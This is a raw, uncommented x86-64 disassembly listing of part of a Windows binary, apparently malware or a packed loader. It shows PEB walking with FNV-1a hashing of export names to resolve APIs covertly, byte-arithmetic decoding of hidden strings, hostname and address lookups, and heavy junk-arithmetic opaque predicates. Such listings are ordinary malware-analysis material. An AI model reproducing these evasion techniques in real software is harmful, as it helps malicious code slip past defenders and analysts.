mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jb 0x14003b3a0
mov edi, dword [rsp + 0x7a0]
mov ecx, 0x202
lea rdx, [rsp + 0x24a0]
call rbx
mov rcx, r14
cmp eax, edi
setne cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b4dd
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003b4dd
mov ebx, r12d
jmp 0x14003b578
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
xor r14d, r14d
jmp 0x14003b350
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b571
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003b578
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003b895
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*8]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b6b6
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003b6b6
mov eax, r12d
jmp 0x14003b751
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b74a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003b751
mov eax, dword [rsp + 0x167c]
cmp r14d, eax
jge 0x14003b895
lea rdx, [0x140073888]
lea rcx, [rsp + 0x1b48]
call fcn.140001d00
or dword [rsp + 0xa0], 0x400
mov qword [rsp + 0x90], 1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d8fa
mov rcx, r14
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003cba6
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003cba6
mov ebx, r12d
jmp 0x14003cc3f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003bde0
mov byte [rsp + 0x7e0], 0xd7
mov byte [rsp + 0x7e1], 0xd0
mov byte [rsp + 0x7e2], 0xd1
mov byte [rsp + 0x7e3], 0xd2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x7e4], xmm0
mov qword [rsp + 0x7f4], rax
mov byte [rsp + 0x7fc], al
mov qword [rsp + 0x90], r14
mov rax, qword [rsp + 0x90]
cmp rax, 0x1d
jae 0x14003b98d
nop word [rax + rax]
mov rcx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x90]
movzx edx, byte [rsp + rax + 0x7e0]
add rcx, 0x11e63
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x4b
add cl, dl
mov rax, qword [rsp + 0x90]
mov byte [rsp + rax + 0x7e0], cl
mov rax, qword [rsp + 0x90]
inc rax
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
cmp rax, 0x1d
jb 0x14003b930
mov ebx, dword [rsp + 0x7e0]
mov edx, pe_nt_image_headers64
lea rcx, [rsp + 0x2880]
call qword [sym.imp.WS2_32.dll_gethostname]
mov rcx, r14
cmp eax, ebx
sete cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x90], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ba69
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14003ba69
mov ebx, r12d
jmp 0x14003bb07
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003bb00
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x90]
cvttsd2si ebx, xmm0
jmp 0x14003bb07
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003bde0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14003bbfa
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14003bbfa
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14003bbf5
mov ecx, 0xff74237f
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003bbd0
cmp ecx, 0x9b1486c
je 0x14003bd18
test r8d, r8d
jne 0x14003bba0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14003bc10
cmp qword [rax + 0x30], 0
je 0x14003bc10
mov al, 1
jmp 0x14003bc12
xor al, al
test al, al
jne 0x14003bb70
xor r14d, r14d
mov edx, r14d
call rdx
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov eax, esi
imul eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x90], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003bd39
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003bd39
mov eax, r12d
jmp 0x14003bdd7
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor r14d, r14d
jmp 0x14003bc20
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003bdd0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x90]
cvttsd2si eax, xmm0
jmp 0x14003bdd7
mov eax, dword [rsp + 0x167c]
cmp r14d, eax
jl 0x14003b75a
mov byte [rsp + 0x800], 0xa6
mov byte [rsp + 0x801], 0xa1
mov byte [rsp + 0x802], 0xa0
mov byte [rsp + 0x803], 0xa3
mov byte [rsp + 0x804], 0xa2
mov byte [rsp + 0x805], 0x9d
mov byte [rsp + 0x806], 0x9c
mov byte [rsp + 0x807], 0x9f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x808], xmm0
mov dword [rsp + 0x818], eax
mov word [rsp + 0x81c], ax
mov qword [rsp + 0x90], r14
mov rax, qword [rsp + 0x90]
cmp rax, 0x1e
jae 0x14003beb9
movabs r8, 0xa9e53a76aee919b
nop dword [rax]
mov rdx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x90]
movzx ebx, byte [rsp + rax + 0x800]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x3d
add bl, dl
mov rax, qword [rsp + 0x90]
mov byte [rsp + rax + 0x800], bl
mov rax, qword [rsp + 0x90]
inc rax
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
cmp rax, 0x1e
jb 0x14003be60
mov rax, qword [rsp + 0x800]
mov qword [rsp + 0x1578], rax
mov byte [rsp + 0x820], 0x6c
mov byte [rsp + 0x821], 0x6d
mov byte [rsp + 0x822], 0x72
mov byte [rsp + 0x823], 0x73
mov byte [rsp + 0x824], 0x70
mov byte [rsp + 0x825], 0x71
mov byte [rsp + 0x826], 0x76
mov byte [rsp + 0x827], 0x77
xor eax, eax
mov qword [rsp + 0x828], rax
mov dword [rsp + 0x830], eax
mov byte [rsp + 0x834], al
mov qword [rsp + 0x90], r14
mov rax, qword [rsp + 0x90]
cmp rax, 0x15
jae 0x14003bfa9
movabs r8, 0x8bd6756092d3c90e
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x90]
movzx ebx, byte [rsp + rax + 0x820]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x62
add bl, dl
mov rax, qword [rsp + 0x90]
mov byte [rsp + rax + 0x820], bl
mov rax, qword [rsp + 0x90]
inc rax
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
cmp rax, 0x15
jb 0x14003bf50
mov dword [rsp + 0x1be8], r14d
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1bf8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1c08], xmm1
mov dword [rsp + 0x1bec], 2
mov r15d, 1
mov qword [rsp + 0x90], r15
mov dword [rsp + 0x1bf0], r15d
mov dword [rsp + 0x1bf4], 6
lea r9, [rsp + 0x1578]
lea r8, [rsp + 0x1be8]
xor edx, edx
lea rcx, [rsp + 0x2880]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov esi, eax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003c54e
mov byte [rsp + 0x840], 0x60
mov byte [rsp + 0x841], 0x61
mov byte [rsp + 0x842], 0x62
mov byte [rsp + 0x843], 0x63
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x844], xmm0
mov dword [rsp + 0x854], eax
mov word [rsp + 0x858], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1a
jae 0x14003c0f9
movabs r8, 0xa9e54b7fc506e9d0
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x840]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x50
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x840], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1a
jb 0x14003c0b2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r14
cmp esi, dword [rsp + 0x840]
setne al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003c1bd
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003c1bd
mov ebx, r12d
jmp 0x14003c256
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003c24f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003c256
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003c54e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14003c34a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14003c34a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14003c345
mov ecx, 0x81b5feae
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003c320
cmp ecx, 0xa510e89d
je 0x14003c46b
test r8d, r8d
jne 0x14003c2f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14003c362
cmp qword [rax + 0x30], 0
je 0x14003c362
movzx eax, r15b
jmp 0x14003c364
xor al, al
test al, al
jne 0x14003c2c0
xor r14d, r14d
mov edx, r14d
call rdx
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003c48c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003c48c
mov eax, r12d
jmp 0x14003c525
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor r14d, r14d
jmp 0x14003c372
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003c51e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003c525
mov eax, dword [rsp + 0x167c]
cmp r14d, eax
jge 0x14003c54e
lea rdx, [0x140073888]
lea rcx, [rsp + 0x1b48]
call fcn.140001d00
or dword [rsp + 0xa0], 0x400
jmp 0x14003b785
mov edi, r14d
mov esi, dword [rsp + 0x167c]
call fcn.140003750
movsx r15d, al
call fcn.140003760
movsx r14d, al
call fcn.140003790
movsx ebx, al
mov edx, r14d
imul edx, r15d
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx r14d, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, r14d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003c658
call fcn.140003780
movsx r15d, al
call fcn.140003770
movsx r14d, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, r14d
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, r15d
add eax, ebx
add edx, eax
je 0x14003c658
mov esi, r12d
jmp 0x14003c6ea
call fcn.140003790
movsx r14d, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, r14d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003c6ea
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si esi, xmm0
cmp edi, esi
jge 0x14003c722
mov rdx, qword [rsp + 0x1578]
test rdx, rdx
je 0x14003c71b
mov rdx, qword [rdx + 0x20]
add rdx, 4
mov r9d, 0x16
